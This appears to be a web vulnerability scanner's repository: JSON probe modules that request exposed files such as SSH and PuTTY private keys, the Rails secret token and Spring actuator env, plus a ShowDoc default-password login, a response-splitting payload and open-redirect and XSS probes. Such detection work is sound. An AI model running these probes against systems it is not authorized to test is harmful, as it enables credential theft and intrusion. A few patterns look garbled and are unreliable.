"mustNotMatch": [ 19 | { 20 | "type": "regex", 21 | "pattern": "(server error|not found)" 22 | } 23 | ] 24 | } 25 | } -------------------------------------------------------------------------------- /modules/crowdsourced/php-user-ini-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt", 3 | "request": { 4 | "paths": [ 5 | "/user.ini", 6 | "/.user.ini" 7 | ] 8 | }, 9 | "response": { 10 | "matchesRequired": 5, 11 | "matches": [ 12 | { 13 | "type": "status", 14 | "code": 200, 15 | "required": true 16 | }, 17 | { 18 | "type": "static", 19 | "pattern": "assert" 20 | }, 21 | { 22 | "type": "static", 23 | "pattern": "highlight" 24 | }, 25 | { 26 | "type": "static", 27 | "pattern": "opcache" 28 | }, 29 | { 30 | "type": "static", 31 | "pattern": "mssql" 32 | }, 33 | { 34 | "type": "static", 35 | "pattern": "oci8" 36 | }, 37 | { 38 | "type": "static", 39 | "pattern": "agent" 40 | } 41 | ] 42 | } 43 | } -------------------------------------------------------------------------------- /modules/crowdsourced/phpmyadmin-info-schema-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "https://twitter.com/DhiyaneshDK", 3 | "request": { 4 | "paths": [ 5 | "/index.php?db=information_schema" 6 | ] 7 | }, 8 | "response": { 9 | "matchesRequired": 3, 10 | "matches": [ 11 | { 12 | "type": "status", 13 | "code": 200 14 | }, 15 | { 16 | "type": "static", 17 | "pattern": "var common_query =" 18 | }, 19 | { 20 | "type": "static", 21 | "pattern": "var pma_absolute_uri =" 22 | } 23 | ], 24 | "mustNotMatch": [ 25 | { 26 | "type": "regex", 27 | "pattern": "" 28 | } 29 | ] 30 | } 31 | } -------------------------------------------------------------------------------- /modules/crowdsourced/putty-private-key-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/my.ppk" 5 | ] 6 | }, 7 | "response": { 8 | "matchesRequired": 3, 9 | "matches": [ 10 | { 11 | "type": "status", 12 | "code": 200 13 | }, 14 | { 15 | "type": "static", 16 | "pattern": "PuTTY-User-Key-File" 17 | }, 18 | { 19 | "type": "static", 20 | "pattern": "Encryption:" 21 | } 22 | ] 23 | } 24 | } -------------------------------------------------------------------------------- /modules/crowdsourced/pyproject-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/pyproject.toml" 5 | ] 6 | }, 7 | "response": { 8 | "matchesRequired": 3, 9 | "matches": [ 10 | { 11 | "type": "static", 12 | "pattern": "[build-system]" 13 | }, 14 | { 15 | "type": "static", 16 | "pattern": "[tool.poetry]" 17 | }, 18 | { 19 | "type": "status", 20 | "code": 200 21 | } 22 | ] 23 | } 24 | } -------------------------------------------------------------------------------- /modules/crowdsourced/roundcube-log-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt", 3 | "request": { 4 | "paths": [ 5 | "roundcube/logs/sendmail", 6 | "roundcube/logs/errors.log" 7 | ] 8 | }, 9 | "response": { 10 | "matchesRequired": 2, 11 | "matches": [ 12 | { 13 | "type": "status", 14 | "code": 200, 15 | "required": true 16 | }, 17 | { 18 | "type": "static", 19 | "pattern": "IMAP Error:" 20 | } 21 | ] 22 | } 23 | } -------------------------------------------------------------------------------- /modules/crowdsourced/ruby-on-rails-secret-token-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/config/initializers/secret_token.rb" 5 | ] 6 | }, 7 | "response": { 8 | "matchesRequired": 3, 9 | "matches": [ 10 | { 11 | "type": "status", 12 | "code": 200 13 | }, 14 | { 15 | "type": "static", 16 | "pattern": "secret_key_base =" 17 | }, 18 | { 19 | "type": "static", 20 | "pattern": "config.secret_token =" 21 | } 22 | ] 23 | } 24 | } -------------------------------------------------------------------------------- /modules/crowdsourced/showdoc-default-password.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "https://twitter.com/DhiyaneshDK", 3 | "name": "ShowDoc Default Password", 4 | "request": { 5 | "method": "POST", 6 | "path": "/server/index.php?s=/api/user/login", 7 | "body": "username=showdoc&password=123456" 8 | }, 9 | "response": { 10 | "matchesRequired": 2, 11 | "matches": [ 12 | { 13 | "type": "static", 14 | "pattern": "groupid", 15 | "required": true 16 | }, 17 | { 18 | "type": "static", 19 | "pattern": "user_token" 20 | } 21 | ] 22 | } 23 | } -------------------------------------------------------------------------------- /modules/crowdsourced/snyk-ignore-file-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "Sebastian Neef (@gehaxelt), https://cs.detectify.com/profile/gehaxelt", 3 | "request": { 4 | "paths": [ 5 | "/.snyk" 6 | ] 7 | }, 8 | "response": { 9 | "matchesRequired": 2, 10 | "matches": [ 11 | { 12 | "type": "status", 13 | "code": 200, 14 | "required": true 15 | }, 16 | { 17 | "type": "static", 18 | "pattern": "# Snyk (https://snyk.io) policy file, patches or ignores known vulnerabilities." 19 | } 20 | ] 21 | } 22 | } -------------------------------------------------------------------------------- /modules/crowdsourced/spring-boot-loggers-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "submitter": "https://twitter.com/DhiyaneshDK", 3 | "request": { 4 | "paths": [ 5 | "/actuator/loggers", 6 | "/loggers" 7 | ] 8 | }, 9 | "response": { 10 | "matchesRequired": 4, 11 | "matches": [ 12 | { 13 | "type": "header", 14 | "name": "Content-Type", 15 | "pattern": "(?i)(spring-boot.actuator|application/json)" 16 | }, 17 | { 18 | "type": "status", 19 | "code": 200, 20 | "required": true 21 | }, 22 | { 23 | "type": "static", 24 | "pattern": "\"loggers\"" 25 | }, 26 | { 27 | "type": "static", 28 | "pattern": "\"profiles\":" 29 | } 30 | ] 31 | } 32 | } -------------------------------------------------------------------------------- /modules/crowdsourced/ssh-authorized-keys-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/.ssh/authorized_keys" 5 | ] 6 | }, 7 | "response": { 8 | "matchesRequired": 2, 9 | "matches": [ 10 | { 11 | "type": "static", 12 | "pattern": "-----BEGIN RSA PRIVATE KEY-----" 13 | }, 14 | { 15 | "type": "static", 16 | "pattern": "-----END RSA PRIVATE KEY-----" 17 | } 18 | ] 19 | } 20 | } -------------------------------------------------------------------------------- /modules/crowdsourced/symfony-fragment-exposure.json: -------------------------------------------------------------------------------- 1 | { 2 | "reference": "https://www.ambionics.io/blog/symfony-secret-fragment", 3 | "request": { 4 | "paths": [ 5 | "/_fragment" 6 | ] 7 | }, 8 | "response": { 9 | "matchesRequired": 3, 10 | "matches": [ 11 | { 12 | "type": "status", 13 | "code": 403 14 | }, 15 | { 16 | "type": "static", 17 | "pattern": "AccessDeniedHttpException" 18 | }, 19 | { 20 | "type": "static", 21 | "pattern": "FragmentListener" 22 | } 23 | ] 24 | } 25 | } -------------------------------------------------------------------------------- /modules/crowdsourced/thumbs-db-disclosure.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "paths": [ 4 | "/Thumbs.db" 5 | ] 6 | }, 7 | "response": { 8 | "matchesRequired": 1, 9 | "matches": [ 10 | { 11 | "type": "regex", 12 | "pattern": "\\xD0\\xCF\\x11\\xE0\\xA1\\xB1\\x1A\\xE1" 13 | } 14 | ] 15 | } 16 | } -------------------------------------------------------------------------------- /modules/exposed-docker-socket.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "path": "containers/json" 4 | }, 5 | "response": { 6 | "matchesRequired": 5, 7 | "matches": [ 8 | {"type": "status", "code": 200, "required": true}, 9 | {"type": "header", "name": "Content-Type", "pattern": "(?i)application/json", "required": true}, 10 | {"type": "static", "pattern": "\"Id\"", "required": true}, 11 | {"type": "static", "pattern": "\"Names\""}, 12 | {"type": "static", "pattern": "\"Image\""}, 13 | {"type": "static", "pattern": "\"ImageID\""}, 14 | {"type": "static", "pattern": "\"Command\""}, 15 | {"type": "static", "pattern": "\"Created\""}, 16 | {"type": "static", "pattern": "\"State\""} 17 | ] 18 | } 19 | } -------------------------------------------------------------------------------- /modules/exposed-jquery-file-upload.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "path": "jquery-file-upload/server/php/" 4 | }, 5 | "response": { 6 | "matchesRequired": 2, 7 | "matches": [ 8 | {"type": "status", "code": 200, "required": true}, 9 | {"type": "regex", "pattern": "^{\"files\":"} 10 | ] 11 | } 12 | } -------------------------------------------------------------------------------- /modules/exposed-nginx-status.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "path": "/nginx_status" 4 | }, 5 | "response": { 6 | "matchesRequired": 1, 7 | "matches": [ 8 | {"type": "static", "pattern": "server accepts handled requests"} 9 | ] 10 | } 11 | } -------------------------------------------------------------------------------- /modules/http-response-splitting.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "path": "/%0d%0ahrs:hrs" 4 | }, 5 | "response": { 6 | "matchesRequired": 1, 7 | "matches": [ 8 | {"type": "header", "name": "hrs", "pattern": "."} 9 | ] 10 | } 11 | } -------------------------------------------------------------------------------- /modules/minimal.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "path": "/anything" 4 | }, 5 | "response": { 6 | "matches": [ 7 | {"type": "static", "pattern": "data"} 8 | ] 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /modules/multipath.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "example 3", 3 | "request": { 4 | "method": "POST", 5 | "paths": [ 6 | "/anything", 7 | "/get", 8 | "/post" 9 | ], 10 | "body": "{\"magicWord\": \"please!\"}", 11 | "headers": [ 12 | "Content-Type: application/json", 13 | "Accept: application/json" 14 | ] 15 | }, 16 | "response": { 17 | "matchesRequired": 4, 18 | "matches": [ 19 | {"type": "static", "pattern": "please!", "required": true}, 20 | {"type": "regex", "pattern": "magic\\w"}, 21 | {"type": "status", "code": 200}, 22 | {"type": "header", "name": "Content-Type", "pattern": "application/.*"} 23 | ], 24 | "mustNotMatch": [ 25 | {"type": "regex", "pattern": "(server error|not found)"} 26 | ] 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /modules/open-redirect-1.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "path": "//example.com" 4 | }, 5 | "response": { 6 | "matchesRequired": 2, 7 | "matches": [ 8 | {"type": "status", "code": 301}, 9 | {"type": "status", "code": 302}, 10 | {"type": "header", "name": "Location", "pattern": "(?i)^//example.om"} 11 | ] 12 | } 13 | } -------------------------------------------------------------------------------- /modules/package-json.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "package.json", 3 | "request": { 4 | "path": "/package.json" 5 | }, 6 | "response": { 7 | "matchesRequired": 2, 8 | "matches": [ 9 | {"type": "static", "pattern": "\"name\":"}, 10 | {"type": "static", "pattern": "\"version\":"}, 11 | {"type": "status", "code": 200, "required": true} 12 | ] 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /modules/reflected-xss.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "firing-range reflected XSS", 3 | "request": { 4 | "path": "/reflected/parameter/body?q=" 5 | }, 6 | "response": { 7 | "matchesRequired": 2, 8 | "matches": [ 9 | {"type": "static", "pattern": ""}, 10 | {"type": "status", "code": 200} 11 | ] 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /modules/spring-boot-env-route.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "path": "/actuator/env" 4 | }, 5 | "response": { 6 | "matchesRequired": 6, 7 | "matches": [ 8 | {"type": "status", "code": 200, "required": true}, 9 | {"type": "header", "name": "Content-Type", "pattern": "(?i)application/json", "required": true}, 10 | {"type": "static", "pattern": "\"profiles"}, 11 | {"type": "static", "pattern": "\"servletContextInitParams"}, 12 | {"type": "static", "pattern": "\"systemProperties"}, 13 | {"type": "static", "pattern": "\"systemEnvironment"} 14 | ] 15 | } 16 | } -------------------------------------------------------------------------------- /modules/test.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "method": "POST", 4 | "path": "/anything", 5 | "body": "foo=bar&bleh=blah", 6 | "headers": [ 7 | "Accept: application/json", 8 | "Footle: bootle" 9 | ] 10 | }, 11 | "response": { 12 | "matchesRequired": 2, 13 | "matches": [ 14 | {"type": "static", "pattern": "foo=bar", "required": true}, 15 | {"type": "regex", "pattern": "fo+=ba+"}, 16 | {"type": "static", "pattern": "Footle"}, 17 | {"type": "regex", "pattern": "Ac[cept]+"} 18 | ], 19 | "mustNotMatch": [ 20 | {"type": "regex", "pattern": "fo+=ba+"} 21 | ] 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /modules/test2.json: -------------------------------------------------------------------------------- 1 | { 2 | "request": { 3 | "method": "GET", 4 | "path": "/get", 5 | "headers": [ 6 | "Accept: application/json", 7 | "Footle: bootle" 8 | ] 9 | }, 10 | "response": { 11 | "matchesRequired": 2, 12 | "matches": [ 13 | {"type": "static", "pattern": "foo=bar"}, 14 | {"type": "regex", "pattern": "fo+=ba+"}, 15 | {"type": "static", "pattern": "Footle"}, 16 | {"type": "regex", "pattern": "Ac[cept]+"} 17 | ] 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /modules/test3.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "example 3", 3 | "request": { 4 | "method": "POST", 5 | "path": "/anything", 6 | "body": "{\"magicWord\": \"please!\"}", 7 | "headers": [ 8 | "Content-Type: application/json", 9 | "Accept: application/json" 10 | ] 11 | }, 12 | "response": { 13 | "matchesRequired": 3, 14 | "matches": [ 15 | {"type": "static", "pattern": "please!", "required": true}, 16 | {"type": "regex", "pattern": "magic\\w"}, 17 | {"type": "status", "code": 200}, 18 | {"type": "header", "name": "Content-Type", "pattern": "application/.*"} 19 | ], 20 | "mustNotMatch": [ 21 | {"type": "regex", "pattern": "(server error|not found)"} 22 | ] 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /semaphore.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | type semaphore chan interface{} 4 | 5 | func newSemaphore(size int) semaphore { 6 | return make(semaphore, size) 7 | } 8 | 9 | func (s semaphore) acquire() { 10 | s <- struct{}{} 11 | } 12 | 13 | func (s semaphore) release() { 14 | <-s 15 | } 16 | 17 | func (s semaphore) wait() { 18 | for i := 0; i < cap(s); i++ { 19 | s.acquire() 20 | } 21 | } 22 | --------------------------------------------------------------------------------